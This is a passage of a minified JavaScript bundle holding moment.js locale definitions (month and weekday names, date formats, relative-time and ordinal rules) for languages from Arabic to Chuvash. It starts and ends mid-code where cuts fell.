2===s&&(l=l[n?0:1]),l.replace(/%d/i,t)}},o=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar",{months:o,monthsShort:o,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:a("s"),ss:a("s"),m:a("m"),mm:a("m"),h:a("h"),hh:a("h"),d:a("d"),dd:a("d"),M:a("M"),MM:a("M"),y:a("y"),yy:a("y")},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(381))},1083:function(e,t,n){!function(e){"use strict";var t={1:"-inci",5:"-inci",8:"-inci",70:"-inci",80:"-inci",2:"-nci",7:"-nci",20:"-nci",50:"-nci",3:"-üncü",4:"-üncü",100:"-üncü",6:"-ncı",9:"-uncu",10:"-uncu",30:"-uncu",60:"-ıncı",90:"-ıncı"};e.defineLocale("az",{months:"yanvar_fevral_mart_aprel_may_iyun_iyul_avqust_sentyabr_oktyabr_noyabr_dekabr".split("_"),monthsShort:"yan_fev_mar_apr_may_iyn_iyl_avq_sen_okt_noy_dek".split("_"),weekdays:"Bazar_Bazar ertəsi_Çərşənbə axşamı_Çərşənbə_Cümə axşamı_Cümə_Şənbə".split("_"),weekdaysShort:"Baz_BzE_ÇAx_Çər_CAx_Cüm_Şən".split("_"),weekdaysMin:"Bz_BE_ÇA_Çə_CA_Cü_Şə".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[sabah saat] LT",nextWeek:"[gələn həftə] dddd [saat] LT",lastDay:"[dünən] LT",lastWeek:"[keçən həftə] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s əvvəl",s:"bir neçə saniyə",ss:"%d saniyə",m:"bir dəqiqə",mm:"%d dəqiqə",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",M:"bir ay",MM:"%d ay",y:"bir il",yy:"%d il"},meridiemParse:/gecə|səhər|gündüz|axşam/,isPM:function(e){return/^(gündüz|axşam)$/.test(e)},meridiem:function(e,t,n){return e<4?"gecə":e<12?"səhər":e<17?"gündüz":"axşam"},dayOfMonthOrdinalParse:/\d{1,2}-(ıncı|inci|nci|üncü|ncı|uncu)/,ordinal:function(e){if(0===e)return e+"-ıncı";var n=e%10,r=e%100-n,i=e>=100?100:null;return e+(t[n]||t[r]||t[i])},week:{dow:1,doy:7}})}(n(381))},9808:function(e,t,n){!function(e){"use strict";function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,r){return"m"===r?n?"хвіліна":"хвіліну":"h"===r?n?"гадзіна":"гадзіну":e+" "+t({ss:n?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:n?"хвіліна_хвіліны_хвілін":"хвіліну_хвіліны_хвілін",hh:n?"гадзіна_гадзіны_гадзін":"гадзіну_гадзіны_гадзін",dd:"дзень_дні_дзён",MM:"месяц_месяцы_месяцаў",yy:"год_гады_гадоў"}[r],+e)}e.defineLocale("be",{months:{format:"студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня".split("_"),standalone:"студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань".split("_")},monthsShort:"студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж".split("_"),weekdays:{format:"нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу".split("_"),standalone:"нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота".split("_"),isFormat:/\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/},weekdaysShort:"нд_пн_ат_ср_чц_пт_сб".split("_"),weekdaysMin:"нд_пн_ат_ср_чц_пт_сб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., HH:mm",LLLL:"dddd, D MMMM YYYY г., HH:mm"},calendar:{sameDay:"[Сёння ў] LT",nextDay:"[Заўтра ў] LT",lastDay:"[Учора ў] LT",nextWeek:function(){return"[У] dddd [ў] LT"},lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return"[У мінулую] dddd [ў] LT";case 1:case 2:case 4:return"[У мінулы] dddd [ў] LT"}},sameElse:"L"},relativeTime:{future:"праз %s",past:"%s таму",s:"некалькі секунд",m:n,mm:n,h:n,hh:n,d:"дзень",dd:n,M:"месяц",MM:n,y:"год",yy:n},meridiemParse:/ночы|раніцы|дня|вечара/,isPM:function(e){return/^(дня|вечара)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночы":e<12?"раніцы":e<17?"дня":"вечара"},dayOfMonthOrdinalParse:/\d{1,2}-(і|ы|га)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e%10!=2&&e%10!=3||e%100==12||e%100==13?e+"-ы":e+"-і";case"D":return e+"-га";default:return e}},week:{dow:1,doy:7}})}(n(381))},8338:function(e,t,n){!function(e){"use strict";e.defineLocale("bg",{months:"януари_февруари_март_април_май_юни_юли_август_септември_октомври_ноември_декември".split("_"),monthsShort:"яну_фев_мар_апр_май_юни_юли_авг_сеп_окт_ное_дек".split("_"),weekdays:"неделя_понеделник_вторник_сряда_четвъртък_петък_събота".split("_"),weekdaysShort:"нед_пон_вто_сря_чет_пет_съб".split("_"),weekdaysMin:"нд_пн_вт_ср_чт_пт_сб".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Днес в] LT",nextDay:"[Утре в] LT",nextWeek:"dddd [в] LT",lastDay:"[Вчера в] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Миналата] dddd [в] LT";case 1:case 2:case 4:case 5:return"[Миналия] dddd [в] LT"}},sameElse:"L"},relativeTime:{future:"след %s",past:"преди %s",s:"няколко секунди",ss:"%d секунди",m:"минута",mm:"%d минути",h:"час",hh:"%d часа",d:"ден",dd:"%d дена",w:"седмица",ww:"%d седмици",M:"месец",MM:"%d месеца",y:"година",yy:"%d години"},dayOfMonthOrdinalParse:/\d{1,2}-(ев|ен|ти|ви|ри|ми)/,ordinal:function(e){var t=e%10,n=e%100;return 0===e?e+"-ев":0===n?e+"-ен":n>10&&n<20?e+"-ти":1===t?e+"-ви":2===t?e+"-ри":7===t||8===t?e+"-ми":e+"-ти"},week:{dow:1,doy:7}})}(n(381))},7438:function(e,t,n){!function(e){"use strict";e.defineLocale("bm",{months:"Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_Mɛkalo_Zuwɛnkalo_Zuluyekalo_Utikalo_Sɛtanburukalo_ɔkutɔburukalo_Nowanburukalo_Desanburukalo".split("_"),monthsShort:"Zan_Few_Mar_Awi_Mɛ_Zuw_Zul_Uti_Sɛt_ɔku_Now_Des".split("_"),weekdays:"Kari_Ntɛnɛn_Tarata_Araba_Alamisa_Juma_Sibiri".split("_"),weekdaysShort:"Kar_Ntɛ_Tar_Ara_Ala_Jum_Sib".split("_"),weekdaysMin:"Ka_Nt_Ta_Ar_Al_Ju_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"MMMM [tile] D [san] YYYY",LLL:"MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm",LLLL:"dddd MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm"},calendar:{sameDay:"[Bi lɛrɛ] LT",nextDay:"[Sini lɛrɛ] LT",nextWeek:"dddd [don lɛrɛ] LT",lastDay:"[Kunu lɛrɛ] LT",lastWeek:"dddd [tɛmɛnen lɛrɛ] LT",sameElse:"L"},relativeTime:{future:"%s kɔnɔ",past:"a bɛ %s bɔ",s:"sanga dama dama",ss:"sekondi %d",m:"miniti kelen",mm:"miniti %d",h:"lɛrɛ kelen",hh:"lɛrɛ %d",d:"tile kelen",dd:"tile %d",M:"kalo kelen",MM:"kalo %d",y:"san kelen",yy:"san %d"},week:{dow:1,doy:4}})}(n(381))},6225:function(e,t,n){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},n={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn-bd",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|ভোর|সকাল|দুপুর|বিকাল|সন্ধ্যা|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t?e<4?e:e+12:"ভোর"===t||"সকাল"===t?e:"দুপুর"===t?e>=3?e:e+12:"বিকাল"===t||"সন্ধ্যা"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"রাত":e<6?"ভোর":e<12?"সকাল":e<15?"দুপুর":e<18?"বিকাল":e<20?"সন্ধ্যা":"রাত"},week:{dow:0,doy:6}})}(n(381))},8905:function(e,t,n){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},n={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|সকাল|দুপুর|বিকাল|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t&&e>=4||"দুপুর"===t&&e<5||"বিকাল"===t?e+12:e},meridiem:function(e,t,n){return e<4?"রাত":e<10?"সকাল":e<17?"দুপুর":e<20?"বিকাল":"রাত"},week:{dow:0,doy:6}})}(n(381))},1560:function(e,t,n){!function(e){"use strict";var t={1:"༡",2:"༢",3:"༣",4:"༤",5:"༥",6:"༦",7:"༧",8:"༨",9:"༩",0:"༠"},n={"༡":"1","༢":"2","༣":"3","༤":"4","༥":"5","༦":"6","༧":"7","༨":"8","༩":"9","༠":"0"};e.defineLocale("bo",{months:"ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ".split("_"),monthsShort:"ཟླ་1_ཟླ་2_ཟླ་3_ཟླ་4_ཟླ་5_ཟླ་6_ཟླ་7_ཟླ་8_ཟླ་9_ཟླ་10_ཟླ་11_ཟླ་12".split("_"),monthsShortRegex:/^(ཟླ་\d{1,2})/,monthsParseExact:!0,weekdays:"གཟའ་ཉི་མ་_གཟའ་ཟླ་བ་_གཟའ་མིག་དམར་_གཟའ་ལྷག་པ་_གཟའ་ཕུར་བུ_གཟའ་པ་སངས་_གཟའ་སྤེན་པ་".split("_"),weekdaysShort:"ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་".split("_"),weekdaysMin:"ཉི_ཟླ_མིག_ལྷག_ཕུར_སངས_སྤེན".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[དི་རིང] LT",nextDay:"[སང་ཉིན] LT",nextWeek:"[བདུན་ཕྲག་རྗེས་མ], LT",lastDay:"[ཁ་སང] LT",lastWeek:"[བདུན་ཕྲག་མཐའ་མ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ལ་",past:"%s སྔན་ལ",s:"ལམ་སང",ss:"%d སྐར་ཆ།",m:"སྐར་མ་གཅིག",mm:"%d སྐར་མ",h:"ཆུ་ཚོད་གཅིག",hh:"%d ཆུ་ཚོད",d:"ཉིན་གཅིག",dd:"%d ཉིན་",M:"ཟླ་བ་གཅིག",MM:"%d ཟླ་བ",y:"ལོ་གཅིག",yy:"%d ལོ"},preparse:function(e){return e.replace(/[༡༢༣༤༥༦༧༨༩༠]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/མཚན་མོ|ཞོགས་ཀས|ཉིན་གུང|དགོང་དག|མཚན་མོ/,meridiemHour:function(e,t){return 12===e&&(e=0),"མཚན་མོ"===t&&e>=4||"ཉིན་གུང"===t&&e<5||"དགོང་དག"===t?e+12:e},meridiem:function(e,t,n){return e<4?"མཚན་མོ":e<10?"ཞོགས་ཀས":e<17?"ཉིན་གུང":e<20?"དགོང་དག":"མཚན་མོ"},week:{dow:0,doy:6}})}(n(381))},1278:function(e,t,n){!function(e){"use strict";function t(e,t,n){return e+" "+i({mm:"munutenn",MM:"miz",dd:"devezh"}[n],e)}function n(e){switch(r(e)){case 1:case 3:case 4:case 5:case 9:return e+" bloaz";default:return e+" vloaz"}}function r(e){return e>9?r(e%10):e}function i(e,t){return 2===t?a(e):e}function a(e){var t={m:"v",b:"v",d:"z"};return void 0===t[e.charAt(0)]?e:t[e.charAt(0)]+e.substring(1)}var o=[/^gen/i,/^c[ʼ\']hwe/i,/^meu/i,/^ebr/i,/^mae/i,/^(mez|eve)/i,/^gou/i,/^eos/i,/^gwe/i,/^her/i,/^du/i,/^ker/i],s=/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu|gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,l=/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu)/i,u=/^(gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,c=[/^sul/i,/^lun/i,/^meurzh/i,/^merc[ʼ\']her/i,/^yaou/i,/^gwener/i,/^sadorn/i],d=[/^Sul/i,/^Lun/i,/^Meu/i,/^Mer/i,/^Yao/i,/^Gwe/i,/^Sad/i],f=[/^Su/i,/^Lu/i,/^Me([^r]|$)/i,/^Mer/i,/^Ya/i,/^Gw/i,/^Sa/i];e.defineLocale("br",{months:"Genver_Cʼhwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu".split("_"),monthsShort:"Gen_Cʼhwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker".split("_"),weekdays:"Sul_Lun_Meurzh_Mercʼher_Yaou_Gwener_Sadorn".split("_"),weekdaysShort:"Sul_Lun_Meu_Mer_Yao_Gwe_Sad".split("_"),weekdaysMin:"Su_Lu_Me_Mer_Ya_Gw_Sa".split("_"),weekdaysParse:f,fullWeekdaysParse:c,shortWeekdaysParse:d,minWeekdaysParse:f,monthsRegex:s,monthsShortRegex:s,monthsStrictRegex:l,monthsShortStrictRegex:u,monthsParse:o,longMonthsParse:o,shortMonthsParse:o,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [a viz] MMMM YYYY",LLL:"D [a viz] MMMM YYYY HH:mm",LLLL:"dddd, D [a viz] MMMM YYYY HH:mm"},calendar:{sameDay:"[Hiziv da] LT",nextDay:"[Warcʼhoazh da] LT",nextWeek:"dddd [da] LT",lastDay:"[Decʼh da] LT",lastWeek:"dddd [paset da] LT",sameElse:"L"},relativeTime:{future:"a-benn %s",past:"%s ʼzo",s:"un nebeud segondennoù",ss:"%d eilenn",m:"ur vunutenn",mm:t,h:"un eur",hh:"%d eur",d:"un devezh",dd:t,M:"ur miz",MM:t,y:"ur bloaz",yy:n},dayOfMonthOrdinalParse:/\d{1,2}(añ|vet)/,ordinal:function(e){return e+(1===e?"añ":"vet")},week:{dow:1,doy:4},meridiemParse:/a.m.|g.m./,isPM:function(e){return"g.m."===e},meridiem:function(e,t,n){return e<12?"a.m.":"g.m."}})}(n(381))},622:function(e,t,n){!function(e){"use strict";function t(e,t,n){var r=e+" ";switch(n){case"ss":return r+=1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi";case"m":return t?"jedna minuta":"jedne minute";case"mm":return r+=1===e?"minuta":2===e||3===e||4===e?"minute":"minuta";case"h":return t?"jedan sat":"jednog sata";case"hh":return r+=1===e?"sat":2===e||3===e||4===e?"sata":"sati";case"dd":return r+=1===e?"dan":"dana";case"MM":return r+=1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci";case"yy":return r+=1===e?"godina":2===e||3===e||4===e?"godine":"godina"}}e.defineLocale("bs",{months:"januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:case 3:return"[prošlu] dddd [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},2468:function(e,t,n){!function(e){"use strict";e.defineLocale("ca",{months:{standalone:"gener_febrer_març_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre".split("_"),format:"de gener_de febrer_de març_d'abril_de maig_de juny_de juliol_d'agost_de setembre_d'octubre_de novembre_de desembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._març_abr._maig_juny_jul._ag._set._oct._nov._des.".split("_"),monthsParseExact:!0,weekdays:"diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dt._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dt_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a les] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a les] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:function(){return"[avui a "+(1!==this.hours()?"les":"la")+"] LT"},nextDay:function(){return"[demà a "+(1!==this.hours()?"les":"la")+"] LT"},nextWeek:function(){return"dddd [a "+(1!==this.hours()?"les":"la")+"] LT"},lastDay:function(){return"[ahir a "+(1!==this.hours()?"les":"la")+"] LT"},lastWeek:function(){return"[el] dddd [passat a "+(1!==this.hours()?"les":"la")+"] LT"},sameElse:"L"},relativeTime:{future:"d'aquí %s",past:"fa %s",s:"uns segons",ss:"%d segons",m:"un minut",mm:"%d minuts",h:"una hora",hh:"%d hores",d:"un dia",dd:"%d dies",M:"un mes",MM:"%d mesos",y:"un any",yy:"%d anys"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|è|a)/,ordinal:function(e,t){var n=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"è";return"w"!==t&&"W"!==t||(n="a"),e+n},week:{dow:1,doy:4}})}(n(381))},5822:function(e,t,n){!function(e){"use strict";var t="leden_únor_březen_duben_květen_červen_červenec_srpen_září_říjen_listopad_prosinec".split("_"),n="led_úno_bře_dub_kvě_čvn_čvc_srp_zář_říj_lis_pro".split("_"),r=[/^led/i,/^úno/i,/^bře/i,/^dub/i,/^kvě/i,/^(čvn|červen$|června)/i,/^(čvc|červenec|července)/i,/^srp/i,/^zář/i,/^říj/i,/^lis/i,/^pro/i],i=/^(leden|únor|březen|duben|květen|červenec|července|červen|června|srpen|září|říjen|listopad|prosinec|led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i;function a(e){return e>1&&e<5&&1!=~~(e/10)}function o(e,t,n,r){var i=e+" ";switch(n){case"s":return t||r?"pár sekund":"pár sekundami";case"ss":return t||r?i+(a(e)?"sekundy":"sekund"):i+"sekundami";case"m":return t?"minuta":r?"minutu":"minutou";case"mm":return t||r?i+(a(e)?"minuty":"minut"):i+"minutami";case"h":return t?"hodina":r?"hodinu":"hodinou";case"hh":return t||r?i+(a(e)?"hodiny":"hodin"):i+"hodinami";case"d":return t||r?"den":"dnem";case"dd":return t||r?i+(a(e)?"dny":"dní"):i+"dny";case"M":return t||r?"měsíc":"měsícem";case"MM":return t||r?i+(a(e)?"měsíce":"měsíců"):i+"měsíci";case"y":return t||r?"rok":"rokem";case"yy":return t||r?i+(a(e)?"roky":"let"):i+"lety"}}e.defineLocale("cs",{months:t,monthsShort:n,monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(leden|ledna|února|únor|březen|března|duben|dubna|květen|května|červenec|července|červen|června|srpen|srpna|září|říjen|října|listopadu|listopad|prosinec|prosince)/i,monthsShortStrictRegex:/^(led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"neděle_pondělí_úterý_středa_čtvrtek_pátek_sobota".split("_"),weekdaysShort:"ne_po_út_st_čt_pá_so".split("_"),weekdaysMin:"ne_po_út_st_čt_pá_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm",l:"D. M. YYYY"},calendar:{sameDay:"[dnes v] LT",nextDay:"[zítra v] LT",nextWeek:function(){switch(this.day()){case 0:return"[v neděli v] LT";case 1:case 2:return"[v] dddd [v] LT";case 3:return"[ve středu v] LT";case 4:return"[ve čtvrtek v] LT";case 5:return"[v pátek v] LT";case 6:return"[v sobotu v] LT"}},lastDay:"[včera v] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulou neděli v] LT";case 1:case 2:return"[minulé] dddd [v] LT";case 3:return"[minulou středu v] LT";case 4:case 5:return"[minulý] dddd [v] LT";case 6:return"[minulou sobotu v] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"před %s",s:o,ss:o,m:o,mm:o,h:o,hh:o,d:o,dd:o,M:o,MM:o,y:o,yy:o},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},877:function(e,t,n){!function(e){"use strict";e.defineLocale("cv",{months:"кӑрлач_нарӑс_пуш_ака_май_ҫӗртме_утӑ_ҫурла_авӑн_юпа_чӳк_раштав".split("_"),monthsShort:"кӑр_нар_пуш_ака_май_ҫӗр_утӑ_ҫур_авн_юпа_чӳк_раш".split("_"),weekdays:"вырсарникун_тунтикун_ытларикун_юнкун_кӗҫнерникун_эрнекун_шӑматкун".split("_"),weekdaysShort:"выр_тун_ытл_юн_кӗҫ_эрн_шӑм".split("_"),weekdaysMin:"вр_тн_ыт_юн_кҫ_эр_шм".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ]",LLL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm",LLLL:"dddd, YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm"},calendar:{sameDay:"[Паян] LT [сехетре]",nextDay:"[Ыран] LT [сехетре]",lastDay:"[Ӗнер] LT [сехетре]",nextWeek:"[Ҫитес] dddd LT [сехетре]",lastWeek:"[Иртнӗ] dddd LT [сехетре]",sameElse:"L"},relativeTime:{future:function(e){return e+(/сехет$/i.exec(e)?"рен":/ҫул$/i.exec(e)?"тан":"ран")},past:"%s каялла",s:"пӗр-ик ҫеккунт",ss:"%d ҫеккунт",m:"пӗр минут",mm:"%d минут",h:"пӗр сехет",hh:"%d сехет",d:"пӗр кун",dd:"%d кун",M:"пӗр уйӑх",MM:"%d уйӑх",y:"пӗр ҫул",yy:"%d 